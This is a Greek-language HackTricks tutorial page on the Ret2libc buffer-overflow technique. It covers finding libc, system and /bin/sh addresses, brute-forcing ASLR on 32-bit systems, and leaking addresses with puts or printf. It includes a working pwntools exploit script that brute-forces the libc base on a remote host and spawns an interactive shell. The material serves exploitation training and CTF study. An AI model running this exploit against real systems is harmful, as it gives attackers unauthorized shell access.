Ret2lib

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Βασικές Πληροφορίες

Η ουσία του Ret2Libc είναι να ανακατευθύνει τη ροή εκτέλεσης ενός ευάλωτου προγράμματος προς μια συνάρτηση μέσα σε μια shared library (π.χ. system, execve, strcpy) αντί να εκτελέσει attacker-supplied shellcode στο stack. Ο attacker κατασκευάζει ένα payload που τροποποιεί τη return address στο stack ώστε να δείχνει στην επιθυμητή συνάρτηση της βιβλιοθήκης, ενώ επίσης φροντίζει ώστε όποια απαραίτητα arguments να ρυθμιστούν σωστά σύμφωνα με το calling convention.

Παράδειγμα Βημάτων (απλοποιημένα)

  • Πάρε τη διεύθυνση της συνάρτησης που θα καλέσεις (π.χ. system) και την εντολή που θα καλέσεις (π.χ. /bin/sh)
  • Δημιούργησε μια ROP chain για να περάσει το πρώτο argument που δείχνει στο command string και να δρομολογήσει το execution flow προς τη συνάρτηση

Εύρεση των διευθύνσεων

  • Υποθέτοντας ότι η libc που χρησιμοποιείται είναι αυτή της τρέχουσας μηχανής, μπορείς να βρεις πού θα φορτωθεί στη μνήμη με:
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)

Αν θέλετε να ελέγξετε αν το ASLR αλλάζει τη διεύθυνση της libc μπορείτε να κάνετε:

for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
  • Γνωρίζοντας ποια libc χρησιμοποιείται, είναι επίσης δυνατό να βρεθεί η μετατόπιση προς τη συνάρτηση system με:
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
  • Γνωρίζοντας το libc που χρησιμοποιείται, είναι επίσης δυνατό να βρεθεί η μετατόπιση προς τη συμβολοσειρά /bin/sh με:
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

Χρησιμοποιώντας gdb-peda / GEF

Γνωρίζοντας την libc που χρησιμοποιείται, είναι επίσης δυνατό να χρησιμοποιήσετε Peda ή GEF για να βρείτε τη διεύθυνση της συνάρτησης system, της συνάρτησης exit και της συμβολοσειράς /bin/sh :

p system
p exit
find "/bin/sh"

Χρήση /proc/<PID>/maps

Αν η διεργασία δημιουργεί θυγατρικές διεργασίες (children) κάθε φορά που επικοινωνείς μαζί της (διακομιστής δικτύου), προσπάθησε να διαβάσεις αυτό το αρχείο (πιθανότατα θα χρειαστείς root).

Εδώ μπορείς να βρεις ακριβώς πού έχει φορτωθεί η libc μέσα στη διεργασία και πού θα φορτωθεί για κάθε θυγατρική διεργασία.

Σε αυτή την περίπτωση είναι φορτωμένη στη 0xb75dc000 (Αυτή θα είναι η διεύθυνση βάσης της libc)

Άγνωστη libc

Είναι πιθανό να δεν γνωρίζεις ποια libc φορτώνει το binary (επειδή μπορεί να βρίσκεται σε server στον οποίο δεν έχεις πρόσβαση). Σε αυτή την περίπτωση μπορείς να εκμεταλλευτείς την ευπάθεια για να leak ορισμένες διευθύνσεις και να βρεις ποια libc βιβλιοθήκη χρησιμοποιείται:

Leaking libc address with ROP

Και μπορείς να βρεις ένα pwntools template γι’ αυτό εδώ:

Leaking libc - template

Αναγνώριση libc με 2 offsets

Επισκέψου τη σελίδα https://libc.blukat.me/ και χρησιμοποίησε μερικές διευθύνσεις συναρτήσεων μέσα στη libc για να βρεις την έκδοση που χρησιμοποιείται.

Παράκαμψη ASLR σε 32-bit

Αυτές οι επιθέσεις brute-forcing είναι χρήσιμες μόνο για 32bit συστήματα.

  • Αν το exploit είναι local, μπορείς να προσπαθήσεις να brute-force τη διεύθυνση βάσης της libc (χρήσιμο για 32bit συστήματα):
for off in range(0xb7000000, 0xb8000000, 0x1000):
  • Εάν επιτίθεστε σε έναν remote server, μπορείτε να προσπαθήσετε να burte-force the address of the libc function usleep, περνώντας ως όρισμα 10 (για παράδειγμα). Αν κάποια στιγμή ο server takes 10s extra to respond, έχετε βρει τη διεύθυνση αυτής της συνάρτησης.

One Gadget

Εκτελέστε ένα shell απλώς πηδώντας στη one συγκεκριμένη address στο libc:

One Gadget

x86 Ret2lib Παράδειγμα Κώδικα

Σε αυτό το παράδειγμα το ASLR brute-force είναι ενσωματωμένο στον κώδικα και το vulnerable binary βρίσκεται σε έναν remote server:

from pwn import *

c = remote('192.168.85.181',20002)
c.recvline()

for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()

x64 Ret2lib Παράδειγμα Κώδικα

Δείτε το παράδειγμα από:

ROP & JOP

ARM64 Ret2lib Παράδειγμα

Στην περίπτωση του ARM64, η εντολή ret πηδάει στο σημείο στο οποίο δείχνει ο καταχωρητής x30 και όχι όπου δείχνει ο καταχωρητής της στοίβας. Οπότε είναι λίγο πιο περίπλοκο.

Επίσης, στο ARM64 μια εντολή κάνει αυτό που κάνει η εντολή (δεν είναι δυνατό να γίνει άλμα στη μέση μιας εντολής και να μετατραπεί σε νέα).

Δείτε το παράδειγμα από:

Ret2lib + Printf leak - arm64

Ret-into-printf (or puts)

Αυτό επιτρέπει να leak πληροφορίες από τη διεργασία καλώντας printf/puts με συγκεκριμένα δεδομένα ως όρισμα. Για παράδειγμα, τοποθετώντας τη διεύθυνση της puts στο GOT ως όρισμα μιας κλήσης puts θα leak τη διεύθυνση της puts στη μνήμη.

Ret2printf

Αυτό ουσιαστικά σημαίνει κατάχρηση ενός Ret2lib για να το μετατρέψουμε σε ευπάθεια τύπου printf format strings, χρησιμοποιώντας το ret2lib για να καλέσουμε printf με τιμές προς εκμετάλλευση (ακούγεται άχρηστο αλλά είναι δυνατό):

Format Strings

Other Examples & references

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks